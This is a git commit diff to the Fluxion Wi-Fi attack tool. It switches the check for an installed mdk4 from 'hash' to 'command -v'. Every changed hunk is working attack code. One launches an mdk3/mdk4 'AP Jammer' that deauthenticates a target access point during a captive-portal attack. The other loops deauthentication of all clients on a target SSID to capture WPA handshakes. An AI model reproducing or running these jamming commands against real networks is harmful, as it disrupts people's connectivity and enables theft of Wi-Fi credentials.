Fix #5555, use command -v to check if the programm is installed.

Don't use which anymore since it could cause problems if PATH is
not set.
This commit is contained in:
deltaxflux 2018-07-03 21:28:37 +02:00
parent ee73b8ec54
commit 2f18a30a98
2 changed files with 25 additions and 12 deletions

View File

@ -1466,13 +1466,19 @@ start_attack() {
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst"
if hash mdk4;then readonly DEAUTH="mdk4";else DEAUTH="mdk3";fi
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"$DEAUTH $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
if ! [ -x "$(command -v mdk4)" ]; then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
else
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
-title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
"mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
# Save parent's pid, to get to child later.
CaptivePortalJammerServiceXtermPID=$!
fi
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" \

View File

@ -183,11 +183,18 @@ handshake_snooper_start_deauthenticator() {
HandshakeSnooperDeauthenticatorPID=$!
;;
"$HandshakeSnooperMdk3MethodOption")
if hash mdk4; then DEAUTH="mkd4"; else DEAUTH="mdk3";fi
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 $DEAUTH $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
HandshakeSnooperDeauthenticatorPID=$!
if ! [ -x "$(command -v mdk4)" ];then
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
HandshakeSnooperDeauthenticatorPID=$!
else
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $FluxionTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk4 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" &
HandshakeSnooperDeauthenticatorPID=$!
fi
;;
esac
}